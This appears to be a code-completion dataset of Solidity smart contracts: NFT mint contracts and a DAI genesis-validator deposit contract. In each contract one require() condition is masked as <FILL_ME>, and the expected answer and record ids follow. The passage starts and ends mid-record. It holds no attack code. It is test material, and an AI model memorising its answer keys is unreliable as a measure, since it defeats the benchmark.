setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
totalMinted+1<=MAX_TOKEN,"max supply exceeded"
485,556
totalMinted+1<=MAX_TOKEN
"reveal has not enabled"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { require(<FILL_ME>) require(ownerOf(tokenId_) == _msgSender(), "caller is not owner"); _burn(tokenId_); WLYInterface wlyContract = WLYInterface(revealConfig.wlyContractAddress); uint256 wlyTokenId = wlyContract.mint(_msgSender(), tokenId_); return wlyTokenId; } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
isRevealEnabled(),"reveal has not enabled"
485,556
isRevealEnabled()
"caller is not owner"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { require(isRevealEnabled(), "reveal has not enabled"); require(<FILL_ME>) _burn(tokenId_); WLYInterface wlyContract = WLYInterface(revealConfig.wlyContractAddress); uint256 wlyTokenId = wlyContract.mint(_msgSender(), tokenId_); return wlyTokenId; } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
ownerOf(tokenId_)==_msgSender(),"caller is not owner"
485,556
ownerOf(tokenId_)==_msgSender()
"Minting too many per wallet"
pragma solidity 0.8.13; interface ITombRaid { function isLocked(uint256 id) external view returns (bool); function tokenTiers(uint256 id) external view returns (uint256); } contract Boneheadz is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; ITombRaid public tombRaid; string internal _baseTokenURI; string internal _unrevealedURI; string internal _lockedURI; uint256 internal _reserved; bool public revealed; bool public whitelistMintActive; bool public publicMintActive; mapping(address => uint256) public numMinted; bytes32 public merkleRoot; uint256 public constant MAX_AMOUNT_PER_WALLET = 2; uint256 public constant MAX_RESERVED_AMOUNT = 100; uint256 public constant MAX_TOTAL_SUPPLY = 5_000; constructor( string memory unrevealedURI, string memory lockedURI, bytes32 root ) ERC721A("Boneheadz", "BONEHEADZ") { } // URI FUNCTIONS function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721Metadata) returns (string memory) { } // OWNER FUNCTIONS function setBaseURI(string calldata baseURI) external onlyOwner { } function setUnrevealedURI(string calldata unrevealedURI) external onlyOwner { } function setLockedURI(string calldata lockedURI) external onlyOwner { } function setMerkleRoot(bytes32 root) external onlyOwner { } function setTombRaid(address _tombRaid) external onlyOwner { } function flipWhitelistMintStatus() public onlyOwner { } function flipPublicMintStatus() public onlyOwner { } function flipReveal() public onlyOwner { } function withdraw() external onlyOwner nonReentrant { } // MINTING FUNCTIONS function verify( bytes32 root, bytes32 leaf, bytes32[] memory proof ) public pure returns (bool) { } function presaleMint( uint256 amount, bytes32 leaf, bytes32[] memory proof ) external payable { require(whitelistMintActive, "Whitelist mint not active"); // verify that msg.sender corresponds to Merkle leaf require(keccak256(abi.encodePacked(msg.sender)) == leaf, "Sender doesn't match Merkle leaf"); // verify that (leaf, proof) matches the Merkle root require(verify(merkleRoot, leaf, proof), "Not a valid leaf in the Merkle tree"); require(<FILL_ME>) require(amount + totalSupply() <= MAX_TOTAL_SUPPLY, "Would exceed max supply"); numMinted[msg.sender] += amount; _mint(msg.sender, amount); } function mint(uint256 amount) external payable { } // reserves 'amount' NFTs minted direct to a specified wallet function reserve(address to, uint256 amount) external onlyOwner { } }
numMinted[msg.sender]+amount<=MAX_AMOUNT_PER_WALLET,"Minting too many per wallet"
485,913
numMinted[msg.sender]+amount<=MAX_AMOUNT_PER_WALLET
"Would exceed max supply"
pragma solidity 0.8.13; interface ITombRaid { function isLocked(uint256 id) external view returns (bool); function tokenTiers(uint256 id) external view returns (uint256); } contract Boneheadz is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; ITombRaid public tombRaid; string internal _baseTokenURI; string internal _unrevealedURI; string internal _lockedURI; uint256 internal _reserved; bool public revealed; bool public whitelistMintActive; bool public publicMintActive; mapping(address => uint256) public numMinted; bytes32 public merkleRoot; uint256 public constant MAX_AMOUNT_PER_WALLET = 2; uint256 public constant MAX_RESERVED_AMOUNT = 100; uint256 public constant MAX_TOTAL_SUPPLY = 5_000; constructor( string memory unrevealedURI, string memory lockedURI, bytes32 root ) ERC721A("Boneheadz", "BONEHEADZ") { } // URI FUNCTIONS function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721Metadata) returns (string memory) { } // OWNER FUNCTIONS function setBaseURI(string calldata baseURI) external onlyOwner { } function setUnrevealedURI(string calldata unrevealedURI) external onlyOwner { } function setLockedURI(string calldata lockedURI) external onlyOwner { } function setMerkleRoot(bytes32 root) external onlyOwner { } function setTombRaid(address _tombRaid) external onlyOwner { } function flipWhitelistMintStatus() public onlyOwner { } function flipPublicMintStatus() public onlyOwner { } function flipReveal() public onlyOwner { } function withdraw() external onlyOwner nonReentrant { } // MINTING FUNCTIONS function verify( bytes32 root, bytes32 leaf, bytes32[] memory proof ) public pure returns (bool) { } function presaleMint( uint256 amount, bytes32 leaf, bytes32[] memory proof ) external payable { require(whitelistMintActive, "Whitelist mint not active"); // verify that msg.sender corresponds to Merkle leaf require(keccak256(abi.encodePacked(msg.sender)) == leaf, "Sender doesn't match Merkle leaf"); // verify that (leaf, proof) matches the Merkle root require(verify(merkleRoot, leaf, proof), "Not a valid leaf in the Merkle tree"); require(numMinted[msg.sender] + amount <= MAX_AMOUNT_PER_WALLET, "Minting too many per wallet"); require(<FILL_ME>) numMinted[msg.sender] += amount; _mint(msg.sender, amount); } function mint(uint256 amount) external payable { } // reserves 'amount' NFTs minted direct to a specified wallet function reserve(address to, uint256 amount) external onlyOwner { } }
amount+totalSupply()<=MAX_TOTAL_SUPPLY,"Would exceed max supply"
485,913
amount+totalSupply()<=MAX_TOTAL_SUPPLY
"Would exceed max reserved amount"
pragma solidity 0.8.13; interface ITombRaid { function isLocked(uint256 id) external view returns (bool); function tokenTiers(uint256 id) external view returns (uint256); } contract Boneheadz is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; ITombRaid public tombRaid; string internal _baseTokenURI; string internal _unrevealedURI; string internal _lockedURI; uint256 internal _reserved; bool public revealed; bool public whitelistMintActive; bool public publicMintActive; mapping(address => uint256) public numMinted; bytes32 public merkleRoot; uint256 public constant MAX_AMOUNT_PER_WALLET = 2; uint256 public constant MAX_RESERVED_AMOUNT = 100; uint256 public constant MAX_TOTAL_SUPPLY = 5_000; constructor( string memory unrevealedURI, string memory lockedURI, bytes32 root ) ERC721A("Boneheadz", "BONEHEADZ") { } // URI FUNCTIONS function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721Metadata) returns (string memory) { } // OWNER FUNCTIONS function setBaseURI(string calldata baseURI) external onlyOwner { } function setUnrevealedURI(string calldata unrevealedURI) external onlyOwner { } function setLockedURI(string calldata lockedURI) external onlyOwner { } function setMerkleRoot(bytes32 root) external onlyOwner { } function setTombRaid(address _tombRaid) external onlyOwner { } function flipWhitelistMintStatus() public onlyOwner { } function flipPublicMintStatus() public onlyOwner { } function flipReveal() public onlyOwner { } function withdraw() external onlyOwner nonReentrant { } // MINTING FUNCTIONS function verify( bytes32 root, bytes32 leaf, bytes32[] memory proof ) public pure returns (bool) { } function presaleMint( uint256 amount, bytes32 leaf, bytes32[] memory proof ) external payable { } function mint(uint256 amount) external payable { } // reserves 'amount' NFTs minted direct to a specified wallet function reserve(address to, uint256 amount) external onlyOwner { require(<FILL_ME>) require(amount + totalSupply() <= MAX_TOTAL_SUPPLY, "Would exceed max supply"); _reserved += amount; _mint(to, amount); } }
_reserved+amount<=MAX_RESERVED_AMOUNT,"Would exceed max reserved amount"
485,913
_reserved+amount<=MAX_RESERVED_AMOUNT
"DAIGenesisValidatorsDepositContract: Deposit already processed"
/** * @title DAI Genesis Validators Deposit Contract * @author DAI * * @notice This contract allows anyone to register as Genesis Validators for the DAI Blockchain. * To become a Genesis Validator, a participant must send 32 DAIe to this contract alongside its validator data * (public key, withdrawal credentials, signature, deposit data root and initial supply vote). * * This smart contract allows deposits from 2023-04-19 06:00am UTC on. They will revert before that time. * * Once enough Genesis Validator keys are present, the `FREEZER` can initiate the freeze of this contract, * which will happen exactly 146 blocks after the initiation (~30 minutes). * After this contract is frozen, it only functions as a historical reference and all DAIe in it will be forever locked. * * The `genesis.szz` for the DAI Blockchain, will be generated out of this smart contract using the `getDepositData()` function and * Genesis Validators will have their DAI balance on the DAI Blockchain after the network start. * * @dev The DAI Genesis Validators Deposit Contract will be deployed on the Ethereum network. * The contract automatically registers deposits and their related deposit validator data when receiving * the callback from the DAIe token contract via the `tokensReceived` function. * * Once the contract is frozen, no more deposits can be made. * */ contract DAIGenesisValidatorsDepositContract is IERC165 { /** * @dev The `FREEZER` of the contract can freeze the contract via the `freezeContract()` function */ address public constant FREEZER = 0x5ADEe9Ac1aDbf15B972166D6D6E540eA89A5063d; // The address of the DAIe token contract. address public constant DAI_TOKEN_CONTRACT_ADDRESS = 0xA8b919680258d369114910511cc87595aec0be6D; // The address of the registry contract (ERC1820 Registry) address public constant ERC1820_REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24; // The hash of the interface of the contract that receives tokens bytes32 public constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // _to_little_endian_64(uint64(32 ether / 1 gwei)) bytes constant AMOUNT_TO_LITTLE_ENDIAN_64 = hex"0040597307000000"; // Timestamp from which the deposits are accepted (2023-04-19 06:00am UTC) uint256 public constant DEPOSIT_START_TIMESTAMP = 1681884000; // The current number of deposits in the contract uint256 internal deposit_count; // The delay in blocks for the contract to be frozen (46,523 blocks ~ 1 week) uint256 public constant FREEZE_DELAY = 146; // The block number when the contract will be frozen uint256 public freezeBlockNumber; /** * @notice New DAIe deposit made * @dev Emitted when an address made a deposit of 32 DAIe to become a genesis validator on DAI * @param pubkey the public key of the genesis validator * @param withdrawal_credentials the withdrawal credentials of the genesis validator * @param amount the amount of DAIe deposited (32 DAIe) * @param signature the BLS signature of the genesis validator * @param index the deposit number for this deposit */ event DepositEvent( bytes pubkey, bytes withdrawal_credentials, uint256 amount, bytes signature, uint256 index ); /** * @dev Emitted when the `FREEZER` of the contract freezes the contract * @param initiatedAt the block number when freezing the contract was initiated * @param freezeAt the block number when the contract will be frozen */ event FreezeInitiated(uint256 initiatedAt, uint256 freezeAt); /** * @dev Storing all the deposit data which should be sliced * in order to get the following parameters: * - pubkey - the first 48 bytes * - withdrawal_credentials - the following 32 bytes * - signature - the following 96 bytes * - deposit_data_root - the following 32 bytes * - initial_supply_vote - the last byte is the initial supply of DAI (in millions) * the genesis validator voted for (0 means non-vote) */ mapping(uint256 => bytes) internal deposit_data; /** * @dev Storing the amount of votes for each supply where the index is the initial supply of DAI in million */ mapping(uint256 => uint256) public supplyVoteCounter; /** * @dev Storing the hash of the public key in order to check if it is already registered */ mapping(bytes32 => bool) private _registeredPubKeyHash; /** * @dev Set the `TOKENS_RECIPIENT_INTERFACE_HASH` for the deposit contract */ constructor() { } /** * @dev Whenever this contract receives DAIe tokens, it must be for the reason of becoming a Genesis Validator. * * Requirements: * - `amount` MUST be exactly 32 DAIe * - `depositData` MUST be encoded properly * - `depositData` MUST contain: * • pubkey - the first 48 bytes * • withdrawal_credentials - the following 32 bytes * • signature - the following 96 bytes * • deposit_data_root - the following 32 bytes * • supply - that last byte is the initial supply of DAI in million where 0 means non-vote */ function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata depositData, bytes calldata /* operatorData */ ) external { // Check that the current timestamp is after the deposit start timestamp (2023-04-19 06:00am UTC) require(block.timestamp >= DEPOSIT_START_TIMESTAMP, "DAIGenesisValidatorsDepositContract: Deposits not yet allowed"); uint256 freezeBlockNumberValue = freezeBlockNumber; // Check the contract is not frozen require( freezeBlockNumberValue == 0 || block.number < freezeBlockNumberValue, "DAIGenesisValidatorsDepositContract: Contract is frozen" ); // Check the calls can only come from the DAIe token contract require( msg.sender == DAI_TOKEN_CONTRACT_ADDRESS, "DAIGenesisValidatorsDepositContract: Not called on DAIe transfer" ); // Check the amount received is exactly 32 DAIe require( amount == 32 ether, "DAIGenesisValidatorsDepositContract: Cannot send an amount different from 32 DAIe" ); /** * Check the deposit data has the correct length (209 bytes) * - 48 bytes for the pubkey * - 32 bytes for the withdrawal_credentials * - 96 bytes for the BLS signature * - 32 bytes for the deposit_data_root * - 1 byte for the initialSupplyVote */ require( depositData.length == 209, "DAIGenesisValidatorsDepositContract: depositData not encoded properly" ); uint256 initialSupplyVote = uint256(uint8(depositData[208])); // Check the `initialSupplyVote` is a value between 0 and 100 (inclusive), where 0 is a non-vote require( initialSupplyVote <= 100, "DAIGenesisValidatorsDepositContract: Invalid initialSupplyVote vote" ); // increment the counter for the given initial supply vote supplyVoteCounter[initialSupplyVote]++; // Store the deposit data in the contract state deposit_data[deposit_count] = depositData; // Extract the validator deposit data from the `depositData` bytes calldata pubkey = depositData[:48]; bytes calldata withdrawal_credentials = depositData[48:80]; bytes calldata signature = depositData[80:176]; bytes32 deposit_data_root = bytes32(depositData[176:208]); // Compute the SHA256 hash of the pubkey bytes32 pubKeyHash = sha256(pubkey); // Prevent depositing twice for the same pubkey require(<FILL_ME>) // Mark the pubkey as registered _registeredPubKeyHash[pubKeyHash] = true; // Compute deposit data root (`DepositData` hash tree root) bytes32 pubkey_root = sha256(abi.encodePacked(pubkey, bytes16(0))); // Compute the root of the BLS signature data bytes32 signature_root = sha256( abi.encodePacked( sha256(abi.encodePacked(signature[:64])), sha256(abi.encodePacked(signature[64:], bytes32(0))) ) ); // Compute the root of the deposit data bytes32 computedDataRoot = sha256( abi.encodePacked( sha256(abi.encodePacked(pubkey_root, withdrawal_credentials)), sha256(abi.encodePacked(AMOUNT_TO_LITTLE_ENDIAN_64, bytes24(0), signature_root)) ) ); // Verify computed and expected deposit data roots match require( computedDataRoot == deposit_data_root, "DAIGenesisValidatorsDepositContract: reconstructed DepositData does not match supplied deposit_data_root" ); // Emit `DepositEvent` log emit DepositEvent( pubkey, withdrawal_credentials, 32 ether, signature, deposit_count ); deposit_count++; } /** * @dev This function will freeze the DAI Genesis Deposit Contract after 46,523 blocks (~ 1 week). * This function can only be called by the `FREEZER` once! */ function freezeContract() external { } /** * @dev Returns whether the public key is registered or not * * @param pubkey The public key of the genesis validator * @return bool `true` if the public key is registered, `false` otherwise */ function isPubkeyRegistered(bytes calldata pubkey) external view returns (bool) { } /** * @dev Returns the current number of deposits * * @return The number of deposits at the time the function was called */ function depositCount() external view returns (uint256) { } /** * @dev Retrieves an array of votes per supply and the total number of votes */ function getsVotesPerSupply() external view returns (uint256[101] memory votesPerSupply, uint256 totalVotes) { } /** * @dev Get an array of all encoded deposit data */ function getDepositData() external view returns (bytes[] memory returnedArray) { } /** * @dev Get the encoded deposit data at a given `index` */ function getDepositDataByIndex(uint256 index) external view returns (bytes memory) { } /** * @dev Determines whether the contract supports a given interface * * @param interfaceId The interface ID to check * @return `true` if the contract supports the interface, `false` otherwise */ function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } }
!_registeredPubKeyHash[pubKeyHash],"DAIGenesisValidatorsDepositContract: Deposit already processed"
486,019
!_registeredPubKeyHash[pubKeyHash]
"Max supply exceeded!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { require(!paused, "The mint is paused!"); uint256 availableSupply = maxSupply - reserved; require(<FILL_ME>) _; } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
totalSupply()+1<=availableSupply,"Max supply exceeded!"
486,145
totalSupply()+1<=availableSupply
"You have already minted!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { require(ogMintEnabled, "OG mint is not enabled!"); require(<FILL_ME>) mintPriceCompliance(ogMintPrice); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_ogMerkleRoot, ogMerkleRoot, leaf), "You are not OG!"); ogClaimed[_msgSender()] = true; _safeMint(_msgSender(), 1); emit MintSuccessfully(msg.sender, totalSupply()); } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } 